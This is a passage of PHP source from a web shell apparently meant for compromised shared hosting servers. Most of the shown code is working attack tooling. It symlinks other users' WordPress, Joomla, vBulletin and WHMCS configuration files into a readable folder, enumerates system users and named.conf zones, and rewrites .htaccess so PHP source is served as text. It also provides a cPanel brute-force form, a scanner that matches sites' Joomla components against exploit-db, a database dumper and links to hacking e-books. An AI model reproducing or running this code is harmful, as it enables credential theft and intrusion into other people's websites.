symlink('/home4/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home4/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home4/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home5/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home5/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home5/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home5/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home5/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home5/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home5/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home5/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home5/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home5/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home5/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home5/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home5/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home5/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home5/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home5/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home5/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home5/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home5/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home5/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home5/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home5/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home5/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home5/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home5/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home5/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home5/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home5/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home6/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home6/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home6/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home6/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home6/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home6/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home6/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home6/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home6/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home6/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home6/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home6/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home6/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home6/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home6/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home6/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home6/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home6/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home6/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home6/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home6/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home6/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home6/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home6/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home6/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home6/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home6/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home6/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
symlink('/home7/' . $usern . '/public_html/vb/includes/config.php', $pdomain . '~~vBulletin1.txt');
symlink('/home7/' . $usern . '/public_html/includes/config.php', $pdomain . '~~vBulletin2.txt');
symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~vBulletin3.txt');
symlink('/home7/' . $usern . '/public_html/cc/includes/config.php', $pdomain . '~~vBulletin4.txt');
symlink('/home7/' . $usern . '/public_html/config.php', $pdomain . '~~Phpbb1.txt');
symlink('/home7/' . $usern . '/public_html/forum/includes/config.php', $pdomain . '~~Phpbb2.txt');
symlink('/home7/' . $usern . '/public_html/wp-config.php', $pdomain . '~~Wordpress1.txt');
symlink('/home7/' . $usern . '/public_html/blog/wp-config.php', $pdomain . '~~Wordpress2.txt');
symlink('/home7/' . $usern . '/public_html/configuration.php', $pdomain . '~~Joomla1.txt');
symlink('/home7/' . $usern . '/public_html/blog/configuration.php', $pdomain . '~~Joomla2.txt');
symlink('/home7/' . $usern . '/public_html/joomla/configuration.php', $pdomain . '~~Joomla3.txt');
symlink('/home7/' . $usern . '/public_html/whm/configuration.php', $pdomain . '~~Whm1.txt');
symlink('/home7/' . $usern . '/public_html/whmc/configuration.php', $pdomain . '~~Whm2.txt');
symlink('/home7/' . $usern . '/public_html/support/configuration.php', $pdomain . '~~Whm3.txt');
symlink('/home7/' . $usern . '/public_html/client/configuration.php', $pdomain . '~~Whm4.txt');
symlink('/home7/' . $usern . '/public_html/billings/configuration.php', $pdomain . '~~Whm5.txt');
symlink('/home7/' . $usern . '/public_html/billing/configuration.php', $pdomain . '~~Whm6.txt');
symlink('/home7/' . $usern . '/public_html/clients/configuration.php', $pdomain . '~~Whm7.txt');
symlink('/home7/' . $usern . '/public_html/whmcs/configuration.php', $pdomain . '~~Whm8.txt');
symlink('/home7/' . $usern . '/public_html/order/configuration.php', $pdomain . '~~Whm9.txt');
symlink('/home7/' . $usern . '/public_html/admin/conf.php', $pdomain . '~~5.txt');
symlink('/home7/' . $usern . '/public_html/admin/config.php', $pdomain . '~~4.txt');
symlink('/home7/' . $usern . '/public_html/conf_global.php', $pdomain . '~~invisio.txt');
symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~7.txt');
symlink('/home7/' . $usern . '/public_html/connect.php', $pdomain . '~~8.txt');
symlink('/home7/' . $usern . '/public_html/mk_conf.php', $pdomain . '~~mk-portale1.txt');
symlink('/home7/' . $usern . '/public_html/include/config.php', $pdomain . '~~12.txt');
symlink('/home7/' . $usern . '/public_html/settings.php', $pdomain . '~~Smf.txt');
symlink('/home7/' . $usern . '/public_html/includes/functions.php', $pdomain . '~~phpbb3.txt');
symlink('/home7/' . $usern . '/public_html/include/db.php', $pdomain . '~~infinity.txt');
}
$d0mains = @file("/etc/named.conf");
if ($d0mains) {
mkdir($fn);
chdir($fn);
foreach ($d0mains as $d0main) {
if (eregi("zone", $d0main)) {
preg_match_all('#zone "(.*)"#', $d0main, $domains);
flush();
if (strlen(trim($domains[1][0])) > 2) {
$user = posix_getpwuid(@fileowner("/etc/valiases/" . $domains[1][0]));
syml($user['name'], $domains[1][0]);
}
}
}
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href={$fn}/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
} else {
mkdir($fn);
chdir($fn);
$temp = "";
$val1 = 0;
$val2 = 1000;
for (; $val1 <= $val2; $val1++) {
$uid = @posix_getpwuid($val1);
if ($uid) {
$temp .= join(':', $uid) . "\n";
}
}
echo "<br/>";
$temp = trim($temp);
$file5 = fopen("test.txt", "w");
fputs($file5, $temp);
fclose($file5);
$htaccess = 'T3B0aW9ucyBhbGwgCkRpcmVjdG9yeUluZGV4IHJlYWRtZS5odG1sIApBZGRUeXBlIHRleHQvcGxh
aW4gLnBocCAKQWRkSGFuZGxlciBzZXJ2ZXItcGFyc2VkIC5waHAgCkFkZFR5cGUgdGV4dC9wbGFp
biAuaHRtbCAKQWRkSGFuZGxlciB0eHQgLmh0bWwgClJlcXVpcmUgTm9uZSAKU2F0aXNmeSBBbnk=
';
$file = fopen(".htaccess", "w+");
$write = fwrite($file, "Options all \nDirectoryIndex readme.html \nAddType text/plain .php \nAddHandler server-parsed .php \nAddType text/plain .html \nAddHandler txt .html \nRequire None \nSatisfy Any");
$file = fopen("test.txt", "r") or exit("Unable to open file!");
while (!feof($file)) {
$s = fgets($file);
$matches = array();
$t = preg_match('/\\/(.*?)\\:\\//s', $s, $matches);
$matches = str_replace("home/", "", $matches[1]);
if (strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named") {
continue;
}
syml($matches, $matches);
}
fclose($file);
echo "</table>";
unlink("test.txt");
echo "<center><font color=lime size=3>[ Done ]</font></center>";
echo "<br><center><a href={$fn}/ target=_blank><font size=3 color=#009900>| Go Here |</font></a></center>";
}
echo "<hr><center><b><a href=" . $_SERVER['PHP_SELF'] . ">BACK</a>";
exit;
}
?>
<form method="POST" target="_blank">
<strong>
<input name="page" type="hidden" value="find"><table>
</strong><br><br><center><font size="5" style="italic" color="#00ff00">=[ Cpanel BruteForce ]=</font></center><br><br>
<table width="600" border="0" cellpadding="3" cellspacing="1" align="center">
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<center><b><font size="5" style="italic" color="#00ff00">Cpanel BruteForce</font></b></center></td></tr>
<tr>
<td>
<table width="100%" border="0" cellpadding="3" cellspacing="1" align="center">
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>User :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="usernames"><?php
system('ls /var/mail');
?></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Pass :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><textarea cols="79" class ='inputz' rows="10" name="passwords"></textarea></strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" class="style2" style="width: 139px">
<strong>Type :</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<span class="style2"><strong>Simple : </strong> </span>
<strong>
<input type="radio" name="type" value="simple" checked="checked" class="style3"></strong>
<font class="style2"><strong>/etc/passwd : </strong> </font>
<strong>
<input type="radio" name="type" value="passwd" class="style3"></strong><span class="style3"><strong>
</strong>
</span>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="start">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Config :</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="mendapatkan" type="hidden" value="passwd">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Folder Name :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="foldername" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Get Wordlist</strong></td>
</tr>
<form method="POST" target="_blank">
<strong>
<input name="pass" type="hidden" value="password">
</strong>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Url Config :</strong></td>
<td valign="top" bgcolor="#151515"><strong><input class ='inputz' size="35" name="url" type="text"></strong></td>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"></td>
<td valign="top" bgcolor="#151515" colspan="5"><strong><input class ='inputzbut' type="submit" value="GO">
</strong>
</td>
<tr>
</form>
<tr>
<td valign="top" bgcolor="#151515" class="style1" colspan="6"><strong>Info
Security</strong></td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Safe Mode</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<?php
$safe_mode = ini_get('safe_mode');
if ($safe_mode == '1') {
echo "ON";
} else {
echo "OFF";
}
?>
</strong>
</td>
</tr>
<tr>
<td valign="top" bgcolor="#151515" style="width: 139px"><strong>Desible Function</strong></td>
<td valign="top" bgcolor="#151515" colspan="5">
<strong>
<form method="POST" target="_blank">
<strong>
<input name="matikan" type="hidden" value="sekatan">
</strong>
<?php
if ('' == ($func = @ini_get('disable_functions'))) {
echo "<font color=#00ff00>No Security for Function</font></b>";
} else {
echo "<script>alert(\"Please see below and press >Please Click Here First!<\");</script>";
echo "<font color=red>{$func}</font></b>";
echo "<tr><td valign=\"top\" bgcolor=\"#151515\" style=\"width: 139px\"></td>";
echo "<td valign=\"top\" bgcolor=\"#151515\" colspan=\"5\"><strong><input type=\"submit\" value=\"Please Click Here First!\">\r\n </strong>\r\n </td></tr>";
}
?></strong></td></tr></table></table></table>
<?php
} elseif (isset($_GET['x']) && $_GET['x'] == 'tutor') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=tutor" method="post">
<center><br><br><b>+--=[ Tutorial & Ebook hacking ]=--+</b><br>
<form method="post" action="">
<table class="tabnet" border="1" >
<tr>
<td align="center">English</td><td align="center">Indonesian</td>
</tr>
<tr>
<td><form method="post" action="">
E-book Hacking :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial24" > Hacking Exposed-5 </option>
<option value="tutorial25"> Internet Denial Of Service </option>
<option value="tutorial26">Computer Viruses For Dummies</option>
<option value="tutorial27">Hack Attacks Testing</option>
<option value="tutorial28">Secrets Of A Super Hacker</option>
<option value="tutorial29">Stealing The Network</option>
<option value="tutorial30">Hacker's HandBook</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</td></form>
<td><form method="post" action="">
Tutorial by X'1N73CT :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial2">Search Engine Hacking</option>
<option value="tutorial3">SQL Injection dengan hackbar</option>
<option value="tutorial1" >Bypass Union</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
</tr>
<tr>
<td>
<form method="post" action="">
E-Book from Syn|gress :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="cryptography_for_defeloper">Cryptography for Developer</option>
<option value="tutorial31">Mobile Malware Attack and Defense</option>
<option value="forensic">CD and DVD Forensic</option>
<option value="ddd">Open Sourch Security Tools</option>
<option value="metasploit">Metaslpoit Toolkit</option>
<option value="stealing_network">Stealing the Network</option>
<option value="security_polices">Creating Security Polices</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download">
</form></td>
<td>
<form method="post" action="">
X-CODE MAGAZINE :
<select class="inputzbut" name="pilih" id="pilih">
<option value=""selected>-----------------[ Select ]-----------------</option>
<option value="tutorial4">X-CODE MAGAZINE 1</option>
<option value="tutorial5">X-CODE MAGAZINE 2</option>
<option value="tutorial6">X-CODE MAGAZINE 3</option>
<option value="tutorial7">X-CODE MAGAZINE 4</option>
<option value="tutorial8">X-CODE MAGAZINE 5</option>
<option value="tutorial9">X-CODE MAGAZINE 6</option>
<option value="tutorial10">X-CODE MAGAZINE 7</option>
<option value="tutorial11">X-CODE MAGAZINE 8</option>
<option value="tutorial12">X-CODE MAGAZINE 9</option>
<option value="tutorial13">X-CODE MAGAZINE 10</option>
<option value="tutorial14">X-CODE MAGAZINE 11</option>
<option value="tutorial15">X-CODE MAGAZINE 12</option>
<option value="tutorial16">X-CODE MAGAZINE 13</option>
<option value="tutorial17">X-CODE MAGAZINE 14</option>
<option value="tutorial18">X-CODE MAGAZINE 15</option>
<option value="tutorial19">X-CODE MAGAZINE 16</option>
<option value="tutorial20">X-CODE MAGAZINE 17</option>
<option value="tutorial21">X-CODE MAGAZINE 18</option>
<option value="tutorial22">X-CODE MAGAZINE 19</option>
<option value="tutorial23">X-CODE MAGAZINE 20</option>
<option value="tutorial024">X-CODE MAGAZINE 21</option>
</select>
<input type="submit" name="submit" class="inputzbut" value="Download" ></a>
</form></td></tr></table><br><br>
<?php
$submit = $_POST['submit'];
if (isset($submit)) {
$pilih = $_POST['pilih'];
if ($pilih == 'tutorial1') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/by_passing_illegal_mix_of_collations_for_operation__union__by_x_1n73ct.pdf';
</script>
<?php
} elseif ($pilih == 'tutorial2') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Search_engine_hacking_by_x_1n73ct.pdf';
</script>
<?php
} elseif ($pilih == 'tutorial3') {
?>
<script>
document.location = 'http://www.pharmconseil-elearning.com/main/upload/Sql_injection_dengan_hackbar.pdf';
</script>
<?php
} elseif ($pilih == 'tutorial4') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_1.zip';
</script>
<?php
} elseif ($pilih == 'tutorial5') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_2.zip';
</script>
<?php
} elseif ($pilih == 'tutorial6') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_3.zip';
</script>
<?php
} elseif ($pilih == 'tutorial7') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_4.zip';
</script>
<?php
} elseif ($pilih == 'tutorial8') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_5.rar';
</script>
<?php
} elseif ($pilih == 'tutorial9') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_6.rar';
</script>
<?php
} elseif ($pilih == 'tutorial10') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_7.rar';
</script>
<?php
} elseif ($pilih == 'tutorial11') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode_magazine_8.rar';
</script>
<?php
} elseif ($pilih == 'tutorial12') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode9.zip';
</script>
<?php
} elseif ($pilih == 'tutorial13') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode10.zip';
</script>
<?php
} elseif ($pilih == 'tutorial14') {
?>
<script>
document.location = 'http://xcode.or.id/files/xcode11.zip';
</script>
<?php
} elseif ($pilih == 'tutorial15') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode12.zip';
</script>
<?php
} elseif ($pilih == 'tutorial16') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode13.zip';
</script>
<?php
} elseif ($pilih == 'tutorial17') {
?>
<script>
document.location = 'http://xcode.or.id/files/Xcode14.zip';
</script>
<?php
} elseif ($pilih == 'tutorial18') {
?>
<script>
document.location = 'http://xcode.or.id/Xcode15.zip';
</script>
<?php
} elseif ($pilih == 'tutorial19') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_16.zip';
</script>
<?php
} elseif ($pilih == 'tutorial20') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_17.zip';
</script>
<?php
} elseif ($pilih == 'tutorial21') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_18.zip';
</script>
<?php
} elseif ($pilih == 'tutorial22') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_19.zip';
</script>
<?php
} elseif ($pilih == 'tutorial23') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_20.zip';
</script>
<?php
} elseif ($pilih == 'tutorial024') {
?>
<script>
document.location = 'http://xcode.or.id/xcode_magazine_21.zip';
</script>
<?php
} elseif ($pilih == 'tutorial24') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hacking_exposed_5.rar';
</script>
<?php
} elseif ($pilih == 'tutorial25') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/internet_denial_of_service.rar';
</script>
<?php
} elseif ($pilih == 'tutorial26') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/computer_viruses_for_dummies.rar';
</script>
<?php
} elseif ($pilih == 'tutorial27') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/hack_attacks_testing.rar';
</script>
<?php
} elseif ($pilih == 'tutorial28') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/secrets_of_super_hacker.rar';
</script>
<?php
} elseif ($pilih == 'tutorial29') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/stealing_network_how_to_own_shadow.rar';
</script>
<?php
} elseif ($pilih == 'tutorial30') {
?>
<script>
document.location = 'http://www.insecure.in/ebooks/webapp_hackers_handbook.rar';
</script>
<?php
} elseif ($pilih == 'ddd') {
?>
<script>
document.location = 'http://199.91.153.95/t8dni7k639hg/3o321lcwwk8u5bh/Open_Source_Security_Tools.pdf';
</script>
<?php
} elseif ($pilih == 'tutorial31') {
?>
<script>
document.location = 'http://205.196.121.149/sg22hm8qjbhg/afsa7ibbk4ny2kd/Mobile_Malware_Attacks_and_Defense.pdf';
</script>
<?php
} elseif ($pilih == 'cryptography_for_defeloper') {
?>
<script>
document.location = 'http://205.196.121.248/0sod33qw66ug/wypyz555sc9bn7h/Cryptography_for_Developers.pdf';
</script>
<?php
} elseif ($pilih == 'forensic') {
?>
<script>
document.location = 'http://205.196.120.85/uisebgmioyjg/6l70l00ba9yoksq/CD_and_DVD_Forensics.pdf';
</script>
<?php
} elseif ($pilih == 'metasploit') {
?>
<script>
document.location = 'http://199.91.153.192/3t115p2f6gvg/zvrrddmq6icqtd2/Metasploit_Toolkit.pdf';
</script>
<?php
} elseif ($pilih == 'stealing_network') {
?>
<script>
document.location = 'http://205.196.123.138/wbsxltb8rbtg/5vm8a1d23i9zje3/Stealing_the_Network_-_How_to_Own_the_Box.pdf';
</script>
<?php
} elseif ($pilih == 'security_polices') {
?>
<script>
document.location = 'http://199.91.153.73/6le01f562ehg/6l5ep021dhvlhlq/Creating_Security_Policies_and_Implementing_Identity_Management_with_Active_Directory.pdf';
</script>
<?php
}
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'cms_detect') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=cms_detect" method="post">
<br><br><br><br><center><b><font size=4>+--=[ CMS Detector ]=--+</font></b></center><br><br>
<?php
if (!file_exists('pee.tmp')) {
@fopen('pee.tmp', 'w');
echo "<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
echo "<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table>";
$p = 0;
if (is_readable("/var/named")) {
$list = scandir("/var/named");
$current_dir = posix_getcwd();
$dir = explode("/", $current_dir);
foreach ($list as $domain) {
if (strpos($domain, ".db")) {
$domain = str_replace('.db', '', $domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/" . $domain));
error_reporting(0);
$link = $pageURL . 'pee/' . $owner['name'];
cms_add($link, $domain, $owner['name'], "WordPress");
cms_add($link, $domain, $owner['name'], "Joomla");
cms_add($link, $domain, $owner['name'], "vBulletin");
cms_add($link, $domain, $owner['name'], "WHMCS");
cms_add($link, $domain, $owner['name'], "PhpBB");
cms_add($link, $domain, $owner['name'], "MyBB");
cms_add($link, $domain, $owner['name'], "IPB");
cms_add($link, $domain, $owner['name'], "SMF");
cms_add($link, $domain, $owner['name'], "Drupal");
cms_add($link, $domain, $owner['name'], "e107");
cms_add($link, $domain, $owner['name'], "Seditio");
cms_add($link, $domain, $owner['name'], "osCommerce");
}
}
}
} else {
echo "<table align=\"center\" border=\"1\" width=\"45%\" cellspacing=\"0\" cellpadding=\"4\" class=\"td1\">";
echo "<tr><td><center><b>SITE</b></center></td><td><center><b>USER</b></center></td><td><center><b>CMS</b></center></td></table><br><br>";
$content = file_get_contents($pageURL . 'pee.tmp');
echo $content;
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'jss') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=jss" method="post">
<?php
echo "\r\n\r\n<br><br><br><p align=\"center\"><b><font size=\"3\">Enter Targeting IP</font></b></p><br>\r\n<form method=\"POST\">\r\n <p align=\"center\"><input type=\"text\" class=\"inputz\" name=\"site\" size=\"65\"><input class=\"inputzbut\" type=\"submit\" value=\"Scan\"></p>\r\n</form><center>\r\n\r\n";
@set_time_limit(0);
@error_reporting("E_OO\\ICE");
function check_exploit($comxx)
{
$link = "http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description={$comxx}&filter_exploit_text=&filter_author=&filter_platform=0&filter_type=0&filter_lang_id=0&filter_port=&filter_osvdb=&filter_cve=";
$result = @file_get_contents($link);
if (eregi("No results", $result)) {
echo "<td>Not Found</td><td><a href='http://www.google.com/#hl=en&q=download+{$comxx}+joomla+extension'>Download</a></td></tr>";
} else {
echo "<td><a href='{$link}'>Found</a></td><td><=</td></tr>";
}
}
function check_com($url)
{
$source = @file_get_contents($url);
preg_match_all('{option,(.*?)/}i', $source, $f);
preg_match_all('{option=(.*?)(&|&|")}i', $source, $f2);
preg_match_all('{/components/(.*?)/}i', $source, $f3);
$arz = array_merge($f2[1], $f[1], $f3[1]);
$coms = array();
foreach (array_unique($arz) as $x) {
$coms[] = $x;
}
foreach ($coms as $comm) {
echo "<tr><td>{$comm}</td>";
check_exploit($comm);
}
}
function sec($site)
{
preg_match_all('{http://(.*?)(/index.php)}siU', $site, $sites);
if (eregi("www", $sites[0][0])) {
return $site = str_replace("index.php", "", $sites[0][0]);
} else {
return $site = str_replace("http://", "http://www.", str_replace("index.php", "", $sites[0][0]));
}
}
$npages = 50000;
if ($_POST) {
$ip = trim(strip_tags($_POST['site']));
$npage = 1;
$allLinks = array();
while ($npage <= $npages) {
$x = @file_get_contents('http://www.bing.com/search?q=ip%3A' . $ip . '+index.php?option=com&first=' . $npage);
if ($x) {
preg_match_all('(<div class="sb_tlst">.*<h3>.*<a href="(.*)".*>(.*)</a>.*</h3>.*</div>siU', $x, $findlink);
foreach ($findlink[1] as $fl) {
$allLinks[] = sec($fl);
}
$npage += 10;
if (preg_match('(first=' . $npage . '&)siU', $x, $linksuiv) == 0) {
break;
}
} else {
break;
}
}
$allDmns = array();
foreach ($allLinks as $kk => $vv) {
$allDmns[] = $vv;
}
echo '<table border="1" width=\\"80%\\" align=\\"center\\">
<tr><td width=\\"30%\\"><b>Server IP : </b></td><td><b>' . $ip . '</b></td></tr>
<tr><td width=\\"30%\\"><b>Sites Found : </b></td><td><b>' . count(array_unique($allDmns)) . '</b></td></tr>
</table>';
echo "<br><br>";
echo "<table border=\"1\" width=\"80%\" align=\\\"center\\\">";
foreach (array_unique($allDmns) as $h3h3) {
echo '<tr id=new><td><b><a href=' . $h3h3 . '>' . $h3h3 . '</a></b></td><td><b>Exploit-db</b></td><td><b>challenge of Exploiting ..!</b></td></tr>';
check_com($h3h3);
}
echo "</table>";
}
} elseif (isset($_GET['x']) && $_GET['x'] == 'dump') {
?>
<form action="?y=<?php
echo $pwd;
?>&x=dump" method="post">
<?php
echo $head . '<p align="center">';
echo '
<table width=371 class=tabnet >
<tr><th colspan="2">Database Dump</th></tr>
<tr>
<td>Server </td>
<td><input class="inputz" type=text name=server size=52></td></tr><tr>
<td>Username</td>
<td><input class="inputz" type=text name=username size=52></td></tr><tr>
<td>Password</td>
<td><input class="inputz" type=text name=password size=52></td></tr><tr>
<td>DataBase Name</td>
<td><input class="inputz" type=text name=dbname size=52></td></tr>
<tr>
<td>DB Type </td>
<td><form method=post action="' . $me . '">
<select class="inputz" name=method>
<option value="gzip">Gzip</option>
<option value="sql">Sql</option>
</select>
<input class="inputzbut" type=submit value=" Dump! " ></td></tr>
</form></center></table>';
if ($_POST['username'] && $_POST['dbname'] && $_POST['method']) {
$date = date("Y-m-d");
$dbserver = $_POST['server'];
$dbuser = $_POST['username'];
